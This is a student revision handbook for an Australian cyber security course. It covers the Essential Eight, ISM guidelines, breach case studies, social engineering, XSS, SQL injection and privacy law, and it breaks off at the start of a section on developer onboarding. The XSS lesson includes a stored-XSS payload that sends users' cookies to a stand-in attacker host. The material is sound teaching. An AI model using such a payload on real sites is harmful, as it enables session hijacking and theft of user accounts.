

Cyber Security: a revision handbook

Everything from the weekly notes, set to be read and annotated rather than crammed. This is the study version — the one-sheet poster is the version for the SAC desk. Each lesson closes with recall prompts: cover the page and answer them out loud before moving on.

CONTENTS

W1 L1	Goals & objectives of organisations	W2 L5	Key legislation
W1 L2	Industry frameworks — Essential Eight & ISM	W2 L6	Improving development security
W1 L3	Ethics	W3 L1	Security of data
W2 L1	Vulnerabilities, risks & case studies	W3 L2	Security controls in development
W2 L2	Mitigation measures	W4 L1	In-house vs external development
W2 L3	Social engineering attacks	W4 L2	Threat modelling principles
W2 L4	Software security — XSS & SQL injection	W4 L3	Evaluating development security

WEEK 1 • LESSON 1

Goals & Objectives of Organisations

Why organisations build or buy software, and how that choice connects back to what the organisation is trying to achieve.

DEFINITION

Software development is the process of **conceiving, designing, creating, deploying and supporting** software applications.

FOUR TYPES OF SOFTWARE

What gets built

Systems software	Operating systems and device drivers.
Programming software	Gives programmers the tools to create code.
Applications	Helps users complete tasks, including web and mobile applications.
Embedded software	Used to control machines and devices.

PURPOSE

Why software is developed

- To meet the **specific needs** of specific users — *custom software*.
- To meet a broad set of **perceived needs** of potential users — *commercial and open-source software*.
- To **automate mundane tasks**, and for entertainment or education — *personal software*.

DIRECTION

Goals vs objectives

GOALS

Long term. State the intention or purpose of the organisation.

OBJECTIVES

Clearly defined, **measurable, shorter-term steps** towards achieving those goals.

CHOOSING THE RIGHT SOFTWARE

- Organisations decide whether **generic, commercial/open-source, or custom** software is required.
- If generic software is used, products must be **evaluated and compared** to find a suitable one.
- Any software, custom or generic, must be evaluated to ensure it meets **privacy and security requirements**.

IMPACT

Enhancing business processes

Productivity Increased efficiency, quality and capabilities.

Managing information Business intelligence to enhance decision-making and innovation.

Cost reduction Improving efficiency by automating processes.

Collaboration Facilitating cross-functional and remote teams.

Accelerating growth Enabling innovation, integration and collaboration.

Sales & service Improving sales and customer service.

Customer engagement Increasing direct communication with customers.

RECALL CHECK

1. Give the four software types and one example of each.
2. What separates a goal from an objective? Write one of each for a school attendance app.
3. Name four ways software enhances business processes.

WEEK 1 • LESSON 2

Industry Frameworks

Structured best practices that keep software development secure, compliant and maintainable — focusing on the two key Australian cyber security frameworks.

DEFINITION

Industry frameworks are structured sets of **best practices, standards and guidelines** designed to help organisations manage technology, data and security in a consistent, effective way — keeping systems secure, compliant with laws and policies, and efficient and maintainable.

FRAMEWORK 1

The Essential Eight

Baseline cyber security strategies developed by the **Australian Cyber Security Centre (ACSC)** to improve resilience against cyber threats — a practical, prioritised approach to defending against malware, unauthorised access and data breaches.

#	STRATEGY	WHAT IT DOES
01	Application control	Prevents unapproved or malicious software from executing. Stops malware, ransomware and unauthorised applications.
02	Patch applications	Fixes security vulnerabilities in software. Prevents attackers exploiting known flaws.
03	Configure MS Office macros	Limits the use of potentially dangerous macros that can carry malware.
04	User application hardening	Disables unnecessary features in apps, e.g. Flash, ads, Java. Reduces exploit risks.
05	Restrict admin privileges	Only trusted users get admin rights, reducing internal and external attack risk.
06	Patch operating systems	Keeps system software updated to close known vulnerabilities.
07	Multi-factor authentication	Adds a layer beyond passwords — SMS code, authenticator app, token.
08	Regular backups	Ensures data can be restored after incidents such as ransomware or system failure.

The Information Security Manual (ISM)

The **Australian Government's primary cyber security framework**, covering principles, guidelines and controls for building secure applications throughout the development lifecycle.

Guideline 1 — Development, testing & production environments

- **Separation of environments** — keep development, testing and production systems separate. Prevents test code or bugs affecting live systems.
- **Access controls** — limit access to each environment. Developers shouldn't automatically have access to production.
- **Data handling** — don't use real production data in development or testing unless absolutely necessary, and always anonymise it.
- **Monitoring** — log who accesses what, and when, in all environments.

Guideline 2 — Secure software design & development

- **Secure coding standards** — use frameworks and languages supporting secure practices, e.g. input validation, output encoding.
- **Threat modelling** — think about how the software might be attacked and build protections into the design.
- **Code reviews** — other team members check code to catch bugs and security issues.
- **Training** — developers should be trained regularly in secure coding and current threats.

Guideline 3 — Application security testing

- **Static analysis (SAST)** — tests source code *without running* the program, to find vulnerabilities early.
- **Dynamic analysis (DAST)** — tests the *running* application for security holes.
- **Penetration testing** — simulated attacks on the software to find weaknesses before hackers do.
- **Remediation & retesting** — fix issues found during testing, then test again to confirm the fixes worked.

RECALL CHECK

1. List the Essential Eight in order. Which three are about keeping software current?
2. Why does the ISM insist on separating dev, test and production?
3. Explain the difference between SAST and DAST, and say when each is used.

WEEK 1 • LESSON 3

Ethics

Software development decisions affect people's rights, privacy, safety and trust. Ethics is about doing what's right — not just what's legal or efficient.

DEFINITIONS

- **Ethics** — a system of accepted rules about behaviour, based on what is considered right and wrong.
- **Code of ethics** — a guide of principles helping professionals conduct business honestly and with integrity.

Some industries (e.g. banking, finance) have **laws** governing conduct; in others, a code of ethics is **voluntarily adopted**.

CODES

Which codes matter

- **ACS Code of Professional Ethics** — the Australian Computer Society's core values are **honesty, trustworthiness and respect**.
- ACM Software Engineering Code of Ethics.
- ACM Code of Ethics and Professional Conduct (for members).
- IEEE Code of Ethics.
- Australia's AI Ethics Principles.

CONSEQUENCES OF IGNORING ETHICS

- Loss of user trust and respect.
- Negative media attention and reputational damage.
- Legal action or platform bans.
- Long-term harm to individuals or communities.

THE FIVE ISSUES

Ethical issues in development

ISSUE	WHAT IT MEANS • EXAMPLE
Ineffective security practices	Failing to implement strong security — encryption, password protection, input validation — leaves users open to attack, data leaks or identity theft. <i>E.g. a poorly protected app exposing users' private messages through weak encryption.</i>
Use of AI during development	Developers must question the source of AI training data, whether AI-generated content is accurate, and whether its use could introduce bias or cause harm. <i>E.g. a recruitment app favouring certain genders or cultural backgrounds because of biased training data.</i>
Intellectual property & copyright	Using someone else's code, images or algorithms without permission breaches copyright. Respect licences, credit creators, and don't copy-paste without attribution. <i>E.g. including third-party libraries without checking the licence type.</i>
User privacy & metadata	Be cautious collecting or exposing user data, including metadata (timestamps, locations, device info) that can unintentionally identify someone. Sharing or storing data without consent breaches privacy. <i>E.g. a social media app sharing image metadata revealing where a user lives or works.</i>
Content moderation & offensive material	Developers of communication tools have an ethical duty to prevent the spread of offensive, harmful or unlawful content — filters, moderation algorithms, flagging systems. <i>E.g. failing to remove hate speech in a comments section, resulting in user harm.</i>

RECALL CHECK

1. Distinguish ethics from a code of ethics. When does a code become legally enforceable?
2. Name the ACS core values.
3. For each of the five issues, give one concrete example and one thing a developer could do to avoid it.

Types of Vulnerabilities & Risks

Common weaknesses in insecure software development environments, the real Australian incidents each one caused, and how to mitigate them. This is the densest lesson in the unit and the most likely source of case-study questions.

FRAMING DEFINITION

When systems and processes are **not properly protected**, they become vulnerable to a wide range of cyber threats and risks. These weaknesses can be exploited by attackers to gain access to data, disrupt services, or compromise user trust.

VULNERABILITY 1

Poorly secured APIs

APIs are essential to modern software development, letting applications interact and share data. **Insecure APIs are a major attack vector.** They may expose sensitive functions or data when authentication, encryption or rate-limiting aren't correctly implemented. Developers often rely on third-party APIs, or hastily create custom ones without robust security checks. Poorly documented or unmanaged APIs increase the risk of data leaks, unauthorised access and service disruption.

CASE STUDY • OPTUS (2022)

The Australian telco suffered a major data breach where unauthorised access to customer data was facilitated in part by an **exposed API**. The incident affected over **9 million Australians** and revealed flaws in access controls and authentication mechanisms on public-facing systems.

MITIGATION

- Implement strong authentication and authorisation on all endpoints.
- Use HTTPS to encrypt all communications.
- Limit data exposure through API responses.
- Enable rate limiting and throttling to prevent abuse.
- Conduct regular API security assessments and audits.

VULNERABILITY 2

Malware

Malicious software designed to infiltrate or damage systems. In development environments, malware can be introduced through **infected libraries, compromised devices, or phishing attacks**. It may lead to data theft, corruption, or system control by external actors — often introduced unknowingly through reused or unvetted third-party code.

CASE STUDY • TOLL GROUP (2020)

The Australian logistics company was hit by **two ransomware attacks within three months**. The attacks encrypted data and disrupted operations across the country, causing significant financial and reputational damage. The malware entered through **phishing** and exploited **outdated software**.

MITIGATION

- Use up-to-date anti-malware tools across all development systems.
- Scan dependencies and code libraries for malicious components.
- Restrict admin access and employ application whitelisting.
- Educate developers on recognising phishing attempts.
- Monitor systems for unusual behaviour or unauthorised software.

VULNERABILITY 3

Unpatched software

Software containing known vulnerabilities that haven't been fixed by applying updates. Attackers actively scan for outdated systems to gain unauthorised access, disrupt services or escalate privileges. In development environments, both **operating systems and software tools** (IDEs, frameworks, libraries) may be neglected.

CASE STUDY • ACCELLION FILE TRANSFER SOFTWARE (2021)

Attackers exploited an **unpatched vulnerability** in Accellion file transfer software used by multiple Australian organisations. The flaw let hackers exfiltrate sensitive documents from government agencies and private companies.

MITIGATION

- Establish automated patch management for all development tools and environments.
- Monitor vendor announcements for critical security updates.
- Test and deploy patches in staging environments before full rollout.
- Maintain an inventory of all software components and their update status.

VULNERABILITY 4

Poor identity & access management (IAM)

IAM defines how users are identified and what resources they can access. Weak practices — **shared credentials, lack of MFA, improper role assignments** — can give attackers or insiders more access than necessary. In development, IAM restricts who can access source code, databases and deployment tools.

CASE STUDY • AUSTRALIAN NATIONAL UNIVERSITY (2023)

ANU reported a data breach resulting from unauthorised access through **compromised credentials**. Lack of MFA and inadequate logging contributed to delayed detection.

MITIGATION

- Enforce least privilege principles.
- Use MFA for all accounts, especially privileged ones.
- Avoid shared accounts; assign unique credentials to each user.
- Conduct regular reviews of access logs and permissions.

VULNERABILITY 5

Insider threats

Individuals within an organisation misusing their access to compromise systems or data. In development, this could mean a **disgruntled employee** introducing malicious code, leaking source code, or selling sensitive project details.

CASE STUDY • FINTECH STARTUP (2022)

A former employee of an Australian fintech startup was investigated for **planting backdoors** in the company's codebase before leaving. The issue was discovered only after suspicious traffic patterns were observed.

MITIGATION

- Implement version control and code review processes.
- Restrict access based on job roles and revoke access immediately on exit.
- Monitor developer activity and system logs for anomalies.
- Provide training on ethical development and security policies.

VULNERABILITY 6

Man-in-the-middle (MitM) attacks

An attacker secretly **intercepts or alters communication** between two parties who believe they're talking directly to each other. The attacker creates separate connections with each party and relays messages, making it seem like a normal conversation while it's actually being controlled or monitored.

Common scenarios include an **unencrypted Wi-Fi network** (easy to intercept traffic) and **email** (often lacks default encryption). Encryption helps, but attackers can still trick users into fake (phishing) websites or record traffic for later use, making detection difficult.

Common MitM techniques

SSL stripping	The attacker connects securely (HTTPS) to the website, but uses an insecure (HTTP) connection with the user, exposing sensitive data.
Evil twin attacks	A fake Wi-Fi hotspot that looks like a trusted network; once connected, all user traffic can be monitored or altered.
Email hijacking	The attacker gains access to an email account, monitors conversations, and impersonates a party to redirect funds during a money transfer.
Wi-Fi eavesdropping	Fake public Wi-Fi networks with trustworthy-looking names intercept data being sent.
Session hijacking	The attacker steals session data (cookies, session keys) to take control of an active session.
DNS spoofing	DNS records are changed to redirect users from a real website to a fake one.
IP spoofing	The attacker disguises their IP address to trick systems into thinking traffic is from a trusted source.

WHAT ATTACKERS ARE AFTER

- Spying on conversations or data.
- Stealing personal info — credit card numbers, login credentials.
- Redirecting money transfers.
- Corrupting or manipulating transmitted data.

PREVENTING MITM

- **Email security tools** — monitor email traffic, block suspicious activity.
- **Web security tools** — detect unsafe traffic, stop redirects to malicious sites.
- **Educate staff and users** — recognise fake Wi-Fi and suspicious emails, using real cases.
- **Keep credentials secure** — strong, unique passwords changed at least every three months.

CASE STUDY • AUSTRALIAN TARGETS

Australian users have been targeted by MitM attacks when accessing **banking apps over insecure Wi-Fi**. In some cases, attackers redirected traffic to fake login pages to steal credentials.

MITIGATION

- Always use HTTPS and encrypted protocols for all communications.
- Avoid public Wi-Fi without VPN protection.
- Use certificate pinning where applicable.
- Validate digital certificates and implement strong network segmentation.

MITM VARIANTS

Spoofing & invoice scamming

Email spoofing

An attacker forges the sender’s address to make an email look like it came from someone you know or trust — commonly used in **phishing and spam attacks**. Since most email software shows only the display name or forged address, users often don’t notice anything suspicious, leading them to click malicious links, open infected attachments, send personal data, or transfer money.

Phone / caller ID spoofing

Also known as **CLI oversteamping** — a caller hides their real number and displays a fake one, often a local or trusted number, to increase the chance you’ll answer. In Australia, **spoofing is legal unless used for scams or other malicious purposes**. Attackers often pretend to be from banks, government agencies or phone companies, try to steal personal or financial information, or call from overseas using an Australian-looking number.

Invoice scamming

Cybercriminals impersonate a business, intercept legitimate emailed invoices, and change the bank details so payments go to the scammer instead of the real business. Once transferred, the money is often quickly moved to overseas accounts, making it hard for banks or police to recover. In most cases, **the payer is responsible for the loss**, since the invoice wasn't paid to the correct company.

DID YOU KNOW

In 2021, **1 in 5 small businesses in Australia** were affected by invoice fraud, with an average loss of **\$15,500**.

[Source: xero.com]

VULNERABILITY 7

Cyber security incidents

Events that compromise the **integrity, confidentiality or availability** of data and systems. These can stem from external attacks, insider actions or system failures. In development environments, such incidents may disrupt coding, testing and deployment.

CASE STUDY • SERVICE NSW (2021)

The data breach was triggered by a **phishing campaign** that compromised staff emails and exposed over **700,000 documents**, including driver's licences and personal details.

MITIGATION

- Develop and regularly update an incident response plan.
- Implement detection systems (IDS/IPS) and logging.
- Train all developers and staff in basic cyber hygiene.
- Ensure backups are secure and tested regularly.

A COMMON SOURCE – MISDIRECTED EMAIL

A very common source of breaches involving personal and sensitive information is **email**. It's easy to mistype an address, or select the wrong one via autocomplete, and accidentally send private information to the wrong person. These are known as **misdirected (or misaddressed) emails**, and are one of the most common types of data breach. The same problem existed with fax machines in the health industry — a mis-dialled number transmitted records to a stranger, or a page from a previous fax was left on the machine.

VULNERABILITY 8

Risks from third-party software

Any code, libraries or tools not developed in-house. These can introduce vulnerabilities if not properly vetted. Attackers may compromise widely used packages or hide malicious code in **legitimate-looking updates**.

CASE STUDY • SOLARWINDS (2020)

This global **supply-chain breach** affected companies worldwide, including Australian federal departments. Attackers inserted a **backdoor into a software update**, giving them access to sensitive networks.

MITIGATION

- Only use trusted sources for software and packages.
- Conduct security audits of third-party tools.
- Monitor vulnerability disclosures related to dependencies.

VULNERABILITY 9

Ineffective code review practices

Code review helps ensure quality, security and maintainability. Skipping reviews or doing them poorly lets bugs and security flaws reach production — reviews are often **rushed or bypassed under time pressure**, especially in agile environments.

CASE STUDY • ONLINE RETAILER CHECKOUT FAILURE

An Australian online retailer suffered a checkout failure due to a **logic flaw missed during an informal code review**, leading to lost sales during a promotional period.

MITIGATION

- Enforce structured peer reviews for all code changes.
- Use automated tools to detect common vulnerabilities (linters, static analysis).
- Maintain coding standards and document review checklists.
- Encourage a culture of constructive feedback and learning.

VULNERABILITY 10

Combining dev, testing & production environments

Combining environments increases risk. Development environments often lack the same security controls as production, and if they share infrastructure or data, attackers may exploit vulnerabilities in dev/test systems to gain **production access**.

CASE STUDY • HEALTH PROVIDER (2019)

An Australian health provider accidentally exposed patient data when **testing a new system using live production data**. The test server was misconfigured and **indexed by search engines**.

MITIGATION

- Isolate dev, test and production environments physically and logically.
- Avoid using real customer data in test environments.
- Secure all environments equally and enforce access controls.
- Monitor for environment-specific misconfigurations or data exposure.

CONTEXT

Connectivity raises the stakes

The more connected we are, the more opportunities there are for data breaches. New technologies and new uses for technology are created rapidly, and risk assessment and security measures often can't keep up. **Smart home and Internet of Things (IoT) devices** have become popular, and these often lack proper security and encryption.

AUSTRALIA'S IOT CODE OF PRACTICE

The Australian Government has released an IoT Code of Practice to increase the security of IoT technology. It contains **13 principles** — the first three should be prioritised:

1. No duplicated default or weak passwords.
2. Implement a vulnerability disclosure policy.
3. Keep software securely updated.

RECALL CHECK

1. Match each case study to its vulnerability from memory: Optus, Toll, Accellion, ANU, Service NSW, SolarWinds.
2. Which two case studies involve phishing as the entry point?
3. Name all seven MitM techniques, then give one mitigation that would stop each.
4. Why is the payer usually liable in an invoice scam?
5. State the first three IoT Code of Practice principles.

WEEK 2 • LESSON 2

Mitigation Measures

Strategies to reduce or eliminate threats, vulnerabilities and risks — drawing on ACSC and OAIC guidance.

DEFINITION

To protect sensitive data and maintain secure systems, organisations must apply **mitigation strategies** that reduce or eliminate threats, vulnerabilities and risks. These are essential in both operational environments and during software development. The **ACSC** provides practical advice for preventing data breaches — technical controls such as MFA, regular software updates and strong password policies, as well as organisational strategies such as staff training and cyber awareness programs.

HOW CREDENTIALS GET STOLEN

Malicious attacks are a main cause of data breaches reported in Australia, and stolen credentials often lead to them. Credentials are typically stolen when:

- Users are tricked into entering them on fake websites (**phishing**).
- Attackers use automated guesses (**brute-force attacks**).
- Hackers steal data from a **breached service**.
- **Malware** on a device captures login details.

STRATEGY 1

Staff awareness

Businesses must train staff to spot and avoid:

- **Phishing** — fake emails that trick users into giving up login details.
- **Spear phishing** — targeted scams using personal or company information to seem more real.

Training should include how to spot suspicious activity and understand the cyber risks relevant to each role.

STRATEGY 2

Password safety

The ACSC recommends:

- Use strong, long and unpredictable **passphrases**.
- Don't reuse passwords across important accounts.
- Change passwords regularly.
- Lock accounts after too many failed login attempts.
- Reset compromised passwords immediately.
- Avoid sharing passwords between secure and less secure services.

STRATEGY 3

Secure software practices

- Use **multi-factor authentication** for important actions and remote access.
- Keep software, browsers and plugins up to date.
- Enable anti-virus software to catch malware that steals data.
- Watch for suspicious account activity.
- Be cautious with credential prompts — don't enter passwords via links from unknown sources; navigate to official websites manually to reset passwords; remember friends' accounts can also be hacked and used to send fake messages.

This advice comes from the Office of the Australian Information Commissioner (OAIC) and the ACSC.

RECALL CHECK

1. List the four ways credentials are typically stolen.
2. Give the six ACSC password recommendations.
3. Why should you never reset a password via a link in an email?

Social Engineering Attacks

Attacks that use psychological manipulation to fool people into handing over confidential data, and how to defend against them.

DEFINITION

Social engineering involves **some form of psychological manipulation**, fooling otherwise unsuspecting users or employees into handing over confidential or sensitive data. It commonly involves email or other communication that invokes **urgency, fear or similar emotions**, leading the victim to promptly reveal sensitive information, click a malicious link, or open a malicious file. Because it involves a human element, preventing these attacks can be tricky for enterprises.

SIX TYPES

The attacks

TYPE	HOW IT WORKS
Phishing	The most common social engineering attack. Most scams try to obtain personal info (names, addresses, passwords, PINs, account numbers), use shortened or misleading links to phishing landing pages, and incorporate threats, fear or urgency to get a quick response.
Spear phishing	A targeted version of phishing where the attacker chooses specific individuals or enterprises and tailors messages based on their characteristics, job position and contacts to seem less conspicuous.
Baiting	Offering something enticing (a download, or a corporate-branded USB stick) in exchange for login details or sensitive information. <i>E.g. a criminal leaves a USB labelled "Confidential" or "Bonuses" where a target will find it — plugging it in installs malware automatically.</i>
Quid pro quo	Similar to baiting — requesting login details or sensitive data in exchange for a service. <i>E.g. a hacker posing as a technology expert offers free IT assistance, or as a researcher offers \$100 for network access "as part of an experiment". If it sounds too good to be true, it probably is.</i>
Pretexting	The human equivalent of phishing. The hacker creates a false sense of trust by impersonating a co-worker or authority figure to gain access to login details. <i>E.g. an email from "IT support" or a chat message from an "auditor".</i>
Tailgating / piggybacking	An unauthorised person physically follows an authorised person into a restricted area or system. <i>E.g. calling out to an employee to hold the door, or asking to quickly borrow their laptop or phone.</i>

DEFENCE

What organisations should do

Employee education	The most effective defence against social engineering fraud is a well-informed workforce . Employees at all levels should understand what social engineering is, be aware of common techniques, and know how to respond. Training should be ongoing, practical and tailored to the organisation's operations.
Policies & procedures	Strong policies and clear procedures help employees respond to suspicious requests — verification protocols, information handling, approval workflows, and physical security practices.
Email software & filtering	Setting spam filters to high and enabling conversation threading helps users more easily detect phishing or suspicious activity.
Secure devices & updates	Maintaining updated and secure systems across all devices is fundamental. Outdated software is a key target, and anti-virus tools alone are insufficient without regular updates.

DEFENCE

How individuals spot scams

1. **Don't rush — think first.** Scammers want you to panic and click fast.
2. **Check the facts.** Got a weird message from your bank or a streaming service? Don't click their links — look up the company yourself.

3. **Don't trust the link.** Links can be faked to look real. Hover to see where they lead, but it's safer to type the address yourself.
4. **A message from a friend isn't automatically safe.** Hackers take over real accounts — verify another way.
5. **Don't download random files** unless you know the person and were expecting the file.
6. **Foreign prize or inheritance offers are 100% fake.** Delete them.
7. **Never share personal or financial info.** Real companies never ask for passwords or bank details by email.
8. **Ignore random offers or requests for help.** If you didn't ask, it's likely fake — find a legitimate charity yourself if you want to donate.

COMPARE

Proactive vs reactive training

Security awareness training — proactive

Being ready *before* an attack happens — like learning to recognise and dodge a trap. Teaches spotting scams (phishing emails, fake calls), knowing the risks, staying safe online, reporting problems, and keeping training fresh with regular reminders.

Example: a fake email pretending to be from your school asks for login credentials — training helps you spot it and avoid clicking.

Incident response training — reactive

Kicks in *after* something goes wrong. Teaches how to respond to an attack or breach: noticing something's wrong, stopping the damage by shutting down the problem area, saving evidence, telling the right people (IT or cyber security staff), and fixing it.

Example: someone clicks a bad link and the network gets infected — this training helps staff contain and repair it fast.

SECURITY AWARENESS

Stops attacks before they happen.

Focuses on educating people to spot threats.

Builds habits for safer behaviour.

INCIDENT RESPONSE

Reacts after an attack has started.

Focuses on how to act when something goes wrong.

Builds skills for fast, smart reactions.

THE ANALOGY

Think of it like **seatbelts and airbags** — security awareness helps stop things before they go wrong, incident response helps minimise damage when they do. Together, they form a strong defence against cyber threats.

RECALL CHECK

1. Name all six social engineering types and give a one-line example of each.
2. What distinguishes spear phishing from phishing? Pretexting from baiting?
3. Give the three key differences between security awareness and incident response training.

WEEK 2 • LESSON 4

Software Security

Building security in from the start, and the two most common web application vulnerabilities: XSS and SQL injection.

SECURITY BY DESIGN (SBD)

When building software, security needs to be part of the plan **from the very beginning**, not tacked on at the end — like building a house with locks already in place, rather than adding them after you move in. Sbd means thinking about how to protect data **before you write your first line of code**, and writing secure code that helps stop hackers and keeps users safe. It prevents problems rather than fixing them later.

OWASP

Top 10 web application security risks

The OWASP Foundation is a trusted group that helps developers understand common threats to web applications. Their Top 10 most serious risks:

01	Broken access control	Users can access things they're not supposed to.
02	Cryptographic failures	Personal or financial information isn't stored or sent securely.
03	Injection	Attackers trick software into running harmful code.
04	Insecure design	Risks related to design flaws.
05	Security misconfiguration	Settings are too open or badly set up.
06	Vulnerable & outdated components	Libraries or plugins with known security flaws.
07	Identification & authentication failures	Login systems don't protect accounts properly.
08	Software & data integrity failures	Assumptions about updates or critical data without verifying integrity.
09	Security logging & monitoring failures	Attacks happen but no one notices or logs what happened.
10	Server-side request forgery	Data sent to your program can be tampered with.

Resources: Secure Coding — Best Practices Handbook · Australian Government ISM, Guidelines for Software Development (ACSC) · OWASP Top Ten.

RISK 1

Cross-site scripting (XSS)

XSS is a security problem found in websites. It lets hackers add their own code — usually JavaScript — to a web page that other people will see. Someone can **inject** dangerous code into a website, and when other users visit, their browsers run the attacker's code without knowing it. XSS usually happens when a website takes user input (names, messages, comments) and **shows it on a page without checking or cleaning it first**.

Why XSS is a big deal

- Change how the website looks or behaves.
- Steal private information like cookies.
- Pretend to be the user and take actions on their behalf.
- Spread the attack to other users like a virus.

Stored XSS

Say there's a message board where people register with a username. If the site doesn't clean up what people type, a hacker could register with a name containing a script that sends the user's cookies to the hacker's website:

```
// example username
user123<script>document.location='https://attacker.com/?cookie='+encodeURIComponent(document.cookie)
</script>
```

When someone visits the board and sees this username, their browser runs the code and silently sends their cookies to the hacker, who can then hijack the login. This is **stored XSS** because the harmful code is saved in the website's database and shown to users again and again. Stored XSS can act like a **worm** — a social media profile with injected code infects everyone who visits, and those infected profiles spread it further until the whole site is under attack.

PREVENTING XSS — A ZERO-TRUST APPROACH

- Sanitise all user input by **escaping special characters**.
- Validate all user input for **type, length, range and format** using **server-side** validation.
- Encode special characters in all output to the browser.
- Users should have the option to disable client-side scripts.

Client-side validation can help reduce invalid inputs, but should **never be relied on by itself**.

RISK 2

SQL injection

A code insertion technique used to attack data-driven applications, where malicious code is inserted into a normal SQL statement to dump the contents of a database. Malformed SQL queries are produced through **unsanitised user input**. Though easily preventable by validating input, this is often not done, letting attackers embed malicious code in a hard-coded SQL statement.

Form 1 — Incorrectly filtered escape characters

Occurs if user input is passed to an SQL statement without filtering escape characters:

```
// vulnerable query
"SELECT * FROM users WHERE username= '"+username+"'"
```

The `username` variable can be crafted by attackers, either by inputting an **always-true clause** or by **commenting out the rest** of the query. By inserting a semicolon, attackers can execute a separate SQL statement.

Form 2 — Incorrect type handling

Takes place when **no appropriate type checking** is performed. The implementation can be the same as above — the injection works by prematurely terminating a text string and appending a new command. There are many other forms of injection beyond these two.

PREVENTING SQL INJECTION

- **Validate user input** — assume all user-submitted data is unsafe. Use functions such as MySQL's `mysql_real_escape_string()` to ensure dangerous characters (like `'`) aren't passed to a query. Sanitise and filter with type, range and format checks.
- **Parameterised statements** — instead of embedding user input into a query string, use placeholders to receive parameters. This also solves the type-handling problem, since a placeholder can only receive a value of the correct type.
- **Prepared statements & stored procedures** — store a prepared statement, feed it the data, and it assembles and sanitises on execution. Stored procedures group SQL statements into a logical unit and can be automatically parameterised, but they prevent *some* types of injection, not all — don't rely on them exclusively.
- **Database permissions & firewalls** — least-privilege database permissions reduce vulnerabilities. Web application firewalls (WAF) and database firewalls identify and block unauthorised transactions, but can't be the only line of defence and may only slow attacks rather than prevent them.

RECALL CHECK

1. Define Security by Design in one sentence, using the house analogy.
2. List as many of the OWASP Top 10 as you can, then check.
3. Explain why stored XSS spreads like a worm.
4. Why do parameterised statements fix *both* forms of SQL injection?
5. Why isn't a WAF sufficient on its own?

Key Legislation

Three pieces of Australian legislation affecting how organisations control the collection, storage (including cloud storage) and communication of data. They also mention data disposal, covered in Week 3.

FEDERAL LAW

Privacy Act 1988

A federal law covering **all states and territories in Australia**.

Organisations covered

- Commonwealth government departments.
- ACT government agencies.
- Private organisations with: turnover of at least **\$3 million/year**, **or** that hold health information, **or** that buy/sell personal information for profit, **or** that are contracted to provide a service to the Commonwealth.

Main points

- Only collect information that is **necessary**.
- Only use information for the **purpose it was intended**.
- Do not disclose information to a third party for any other purpose.
- Individuals may **access and correct** information held about them.
- The organisation must have a **publicly available privacy policy**.
- The organisation must take steps to ensure the **quality and security** of information.

AUSTRALIAN PRIVACY PRINCIPLES (APPS)

Guidelines under the Privacy Act 1988 governing collection, use and disclosure of personal information — promoting transparency, data quality, security, individual access and complaint resolution.

APP 1	Open & transparent management	Be clear about how personal information is handled — privacy statements, easy-to-understand data policies.
APP 3	Collection of solicited information	Limits collection to what’s reasonably necessary, collected lawfully and fairly — minimising data fields, clear consent.
APP 6	Use or disclosure	Information collected for a specific purpose must only be used or disclosed for that purpose unless the individual consents.
APP 8	Cross-border disclosure	Information transferred overseas must remain protected in line with the APPs — safeguards for cloud storage and processing.
APP 9	Government-related identifiers	Restricts using government identifiers (e.g. tax file numbers) for identification in private-sector databases.
APP 11	Security of personal information	Requires safeguarding against misuse, loss or unauthorised access — robust encryption, access controls, regular testing.

STATE LAW • VICTORIA

Privacy and Data Protection Act 2014

Governs the handling of personal information by **Victorian public sector organisations**, protecting privacy through principles for data collection, use and disclosure, and ensuring data security. A state law covering **only Victoria**.

Organisations covered

- Victorian government departments and public sector agencies.
- Victoria Police.
- State government schools.
- Public Victorian universities.

- Public hospitals and health services — **non-medical information only**; medical information is covered by the **Health Records Act 2001**.
- Organisations providing government-funded services.

Agencies must safeguard data with **security assessments and encryption**. While not mandatory, entities are **encouraged** to notify affected individuals after a significant breach. The **Victorian Information Commissioner** oversees compliance; penalties for breaches may include legal action or administrative orders.

INFORMATION PRIVACY PRINCIPLES (IPPS)

Outlined under the PDP Act 2014, applying to Victorian public sector agencies. These align with the APPs but are tailored to state-specific data protection.

IPP 1	Collection	Collected fairly, lawfully and not intrusively — ask only for necessary info, inform users of the purpose.
IPP 2	Use & disclosure	Restricts how information can be used or disclosed (aligns with APP 6) — shared only per policy and user consent.
IPP 4	Data security	Protected from misuse, loss, unauthorised access and modification — encryption, secure authentication, regular updates.
IPP 5	Openness	Agencies must be open about how information is managed — privacy policy links, clear documentation.
IPP 7	Unique identifiers	Restricts adopting identifiers assigned by other organisations unless necessary, consented to, or via a contracted provider.
IPP 9	Transborder data flows	Information must not leave Victoria unless the recipient jurisdiction has equivalent privacy protections.
IPP 10	Sensitive information	Stricter handling of sensitive information (e.g. health or ethnic background) — high security, limited access.

FEDERAL LAW

Copyright Act 1968

A federal law applying across all states and territories, establishing the legal framework for copyright protection. Updated in 2000 by the **Copyright Amendment (Digital Agenda) Bill 2000** to address digital technology and online content distribution.

It protects **intellectual property (IP)** — original creations of the mind including written text, videos, software and artistic works — granting creators exclusive control over the use of their work.

Main points

- **Ownership** — IP belongs to the creator unless assigned otherwise (e.g. to an employer).
- **Automatic protection** — copyright is automatic and free once work is in a tangible form.
- **Types protected** — literary, dramatic, musical and artistic works, films, sound recordings, broadcasts.
- **Exclusions** — ideas, concepts, names, slogans or images of people are not covered.
- **Control of usage** — owners control how and when material is used and shared.
- **Employer rights** — employers hold copyright over works employees produce as part of their job.
- **Personal use exception** — copying music you legally own (e.g. CD to device) for personal use only.

INFRINGEMENT

Can lead to **civil penalties** — court-ordered cessation, financial damages — or, in severe cases, **criminal charges and imprisonment**.

RECALL CHECK

1. Which Act covers a Victorian state school? A private company turning over \$5M? A public hospital's medical records?
2. State APP 11 and IPP 4 and explain how they differ in scope.
3. Under the Copyright Act, who owns code you write as part of your job?
4. Which APP and which IPP deal with data leaving the country?

Improving Development Security

Building security in from day one — onboarding, ongoing training, and risk management planning.

WHAT IS SECURE DEVELOPMENT?

The process of creating software **designed to be safe from the start**. Instead of waiting until something goes wrong, secure development means thinking about security at every stage — planning, coding, testing, deployment. It's about writing code that protects against hackers and malicious attacks, keeps user data safe, prevents bugs that could be exploited, and follows best practices and legal standards. Like building a house with strong locks, alarms and fire exits already in place — not adding them after someone breaks in.

WHY IT MATTERS

- **Protects user data** — passwords, credit card numbers, personal information.
- **Prevents costly problems** — fixing a breach after release is expensive and damaging.
- **Builds trust** — users and clients prefer software they know is safe.
- **Meets legal and industry standards** — many industries require secure coding by law.

STRATEGY 1

Onboarding & induction for developers

